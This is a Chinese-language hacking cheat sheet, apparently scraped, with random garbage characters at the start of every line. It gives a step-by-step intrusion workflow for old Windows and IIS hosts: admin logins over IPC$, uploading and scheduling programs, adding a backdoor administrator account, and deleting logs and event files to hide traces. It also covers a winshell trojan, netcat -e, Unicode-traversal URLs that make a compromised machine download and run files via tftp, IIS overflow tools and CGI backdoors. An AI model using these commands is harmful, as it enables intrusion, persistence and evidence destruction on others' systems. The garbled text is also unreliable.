网管和黑客都必须知道的命令
\Ekez~k{` 常用的几条NET命令：
> 7!aZO Pb?H cg （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
mm$D1=h{| [i[G" %Q （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
*lv)9L+0 @RotJl/> （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
k Fv\V 7UHqiA`L （查看远程主机时间） net time \\IP地址
?97MW a Z_' %'&Y （定时启动某个程序） at \\IP地址 02:18 readme.exe
q?z6|]M|u $n `Zvl2 （查看共享） net view \\IP地址
0kgK~\^,.O YN] w_= （查看netbios工作组列表） nbtstat -A IP地址
t )Z2"_5 ]SrKe-*:U （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
[ e)81yZG> oSNB\G< （这两条把自己增加到管理员组）： net user 用户名 密码 /add
80$P35Q" ]Oc
:x net localgroup Administrators 用户名 /add
yP0P-8 OdQ >h$ gZ （断开连接） net use \\IP地址\ipc$ /delete
7^sU/ 3z A`(p6 H"s 扫尾：
V$
38 N-^\X3X del C:\winnt\system32\logfiles\*.*
/iif@5lw{ +Smv<^bW del C:\winnt\ssytem32\config\*.evt
B2d$!A ny > 0 !J]gK del C:\winnt\system32\dtclog\*.*
UEo,:zeN[ }Sit T\% del C:\winnt\system32\*.log
w%S<N js`zQx' del C:\winnt\system32\*.txt
JmNeqpbB`w @usQ*k del C:\winnt\*.txt
P},S[GaZ %fP^Fh del C:\winnt\*.log
}# !o^B8 v ;MI*!E 一、netsvc.exe
-Kg@Sj/U}R 'lC"wP&$ 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
PkDL\Nqe x|0Q\<mEe netsvc /list \\IP地址
L:Wy- Z b("CvD8 netsvc schedule \\IP地址 /query
4NR,"l) miS+MK" netsvc \\IP地址 schedule /start
3\=8tg p HKOJkbVZ2^ 二、OpenTelnet.exe
-Qnnzp$] nWFp$tJ/R 远程启动主机的Telnet服务，并绑定端口到7878，例如：
^'EE ry :^%s o Ei OpenTelnet \\IP地址 用户名 密码 1 7878
V EY !0PIj @mP@~ 然后就可以telnet到主机的7878端口，进入DOS方式下：
>o .u, 7vr)JT= telnet IP地址 7878
BCUw"R# H'gPGOd 三、winshell.exe
lG# &Pv>- K'?ab 0 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
|Q 9S$l] 6FEtq,;0w p Path （查看winshell主程序的路径信息）
A!^K: S:@ /bCrpc H b reBoot （重新启动机器）
{ w!}:8p um ,/^2A d shutDown （关闭机器）
N)poe2[
/2'\ya4 B s Shell （执行后你就会看到可爱的“C:\>”）
nr&G4t+%Hv eg(xN/D x eXit （退出本次登录会话，此命令并不终止winshell的运行）
{h9#JMIA QQ2xNNF[ CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
[&NF0c[i R$6Y\ *L [ 四、3389登陆器，GUI方式登录远程主机的
:@: R4 Ac 8.-P Q 五、elsave.exe
* <9 D] I$f:K]|.m! 事件日志清除工具
}d.R=A9L $,i:#KT` elsave -s \\IP地址 -l "application" -C
Gw+z8^|C&} sK?[ 1BI elsave -s \\IP地址 -l "system" -C
?rBj{]= =Rb, `% elsave -s \\IP地址 -l "security" -C
-^#Ix;% M8juab%y 执行后成功清除应用程序日志，系统日志，安全日志
rcI(6P <* B|extWwu 六、hbulot.exe
_"WQi}Mm 9!9 Gpi 开启win2kserver和winxp的3389服务
~ S-x-cZ P\2QH@p@t hbulot [/r]
]-* }-j` 9,y&?GLP 使用/r表示安装完成后自动重起目标使设置生效。
?R,^pr W{ fd+kr# 七、nc.exe(netcat.exe)
h)y"? Jj :hMuxHr 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
/ _}v|E0 ^S< Z'S 想要连接到某处: nc [-options] hostname port[s] [ports] ...
8kMMQ ES y|MW-|0=! 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
t4gD*j6J3 Mm6
(Q 参数:
7FMHz.ZRE %{}Jr` -e prog 程序重定向，一旦连接，就执行 [危险!!]
k ,<L#?,a 0.@/I}R[ -g gateway source-routing hop point[s], up to 8
H[>_LYZ8 } Bc6:a -G num source-routing pointer: 4, 8, 12, ...
-CL7^ i6X/`XW' -h 帮助信息
MH !C zV& Pi8U}lG; -i secs 延时的间隔
gpw(j0/Fs x(S 064 -l 监听模式，用于入站连接
/@wm?ft6Gk cOUO_xp( -n 指定数字的IP地址，不能用hostname
~(%G; fZ?x Nju7!yVM_ -o file 记录16进制的传输
W1: o2 C7 ,Y`C7Px -p port 本地端口号
?<nz2 piP, dvL '>'g -r 任意指定本地及远程端口
C62<pLJf .Zwn{SMtu -s addr 本地源地址
Np/[MC s L\|y38' -u UDP模式
w e} sC, ;bAy 7 -v 详细输出——用两个-v可得到更详细的内容
{Ua5bSbh { X"X.`p -w secs timeout的时间
*g=*}2 D6ck1pxkx -z 将输入输出关掉——用于扫描时
Mb<KZ_wYOX 八、TFTPD32.EXE
QPFpGS{ d !4 hs9 b 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
4uu*&B wPc,FH+y http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
}XXE
hOO k"sL. }$ 然后可以直接令文件运行：
QY^ y(I49 EI_J7J+ http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
IsRsjhg8x 2XI%4 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
SA/0Z = ,U2D &{@ 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
w1KQ9H* r} , |kb 一、一 Xscan命令行运行参数说明：
{;-$;\D RMvlA' c 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
8wy"m=>=b} ]7VK&YfN 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
u5,IH2BU =Wjm_Rvk9 xscan -file <主机列表文件名> <检测项目> [其他选项]
PkVXn
}F3Z~ 其中<检测项目> 含义如下:
:JN 3@NsK ~z
aV. 3# -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
~P/G^cV3s Yb 6\+ }th -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
6C3y+@9 qb9%Y/xy -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
WYh7Y ~cZ1=,P -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
1 9=Dd#Nf v(t&8)Uu -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
|
'z)RFqj I+<; D sp [其他选项] 含义如下:
:qT>m 3AB5Qs< -v: 显示详细扫描进度
L`Ic0}|lzy Z7 f~|} -p: 跳过Ping不通的主机
d@l;dos), ILVbbC`D -o: 跳过没有检测到开放端口的主机
X:e'@]Z)? J`V6zGgW -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
